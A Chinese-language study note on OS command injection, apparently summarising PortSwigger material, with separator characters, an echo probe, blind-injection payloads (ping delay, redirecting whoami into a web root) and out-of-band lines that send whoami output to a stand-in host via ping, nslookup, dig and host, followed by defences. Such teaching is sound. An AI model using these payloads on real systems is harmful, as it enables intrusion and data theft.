OS命令注入笔记
个人总结
参考:https://portswigger.net/web-security/os-command-injection
- name: 个人总结
desc: 参考:https://portswigger.net/web-security/os-command-injection
bgColor: '#F0DFB1'
textColor: 'green'
1
2
3
4
2
3
4
# OS命令注入笔记
# 1OS命令注入基本知识
# 1、什么是 OS 命令注入?
答案
OS 命令注入(也被称为操作系统命令注入或 shell 注入)是一个 Web 安全漏洞,它允许攻击者在目标应用程序的服务器上,执行任意操作系统(OS)命令,这可能会完全破坏应用程序及其所有数据。通常,攻击者利用信任关系,将攻击转移到组织内的其他系统上,进一步危害其他主机或基础设施。
# 2、注入OS命令的方法
答案
通过各种 shell 元字符(命令分隔符)来执行 OS 命令注入攻击。
- 适用于 Windows 和 Unix 的命令分隔符:
&
、&&
、|
和||
。 - 仅适用于 Unix 的命令分隔符:
;
和换行(0x0a
或\n
)。 - 在基于 Unix 的系统上,还可以使用 反引号或美元字符 来注入内联命令执行:
`whoami`
和$(whoami)
有时,注入的命令可能会位于 原始命令的引号内,这种情况下你需要使用引号'
或"
来闭合原有的上下文。
# 2OS命令注入攻击
# 1、有回显的命令注入
可以尝试提交以下输入来验证漏洞。
& echo 123456 &
1
# 2、OS命令盲注有哪些方法?
答案
- 通过 “时间延迟” 检测命令盲注:
& ping -c 10 127.0.0.1 &
1
- 通过 “输出重定向” 利用命令盲注:
& whoami > /usr/share/nginx/html/whoami.txt &
1
- 通过 带外技术(OAST)+ “内联执行” 利用命令盲注:
& ping `whoami`.hacker.attack.com &
& ping $(whoami).hacker.attack.com &
& nslookup `whoami`.hacker.attack.com &
& dig `whoami`.hacker.attack.com &
& host `whoami`.hacker.attack.com &
1
2
3
4
5
6
7
8
2
3
4
5
6
7
8
# 3防范措施
# 1、如何防范OS命令注入攻击
答案
最有效方法:永远不要从 应用层代码中 调用操作系统命令,改为使用更安全的平台 API 来实现所需功能的替代方法。
如果不可避免,则必须实施强输入验证措施。一些有效的验证为:
- 用户输入的值是否在白名单中
- 验证输入是否为数字
- 验证输入是否仅包含 字母/数字 字符,不包含其他语法或空格
# 2、可不可以只过滤 shell 元字符(命令分隔符)来防范漏洞?
答案
不能。不要试图仅通过清理、转义 shell 元字符来过滤用户输入,在实践中这太容易出错,并且很容易被熟练的攻击者绕过。
编辑 (opens new window)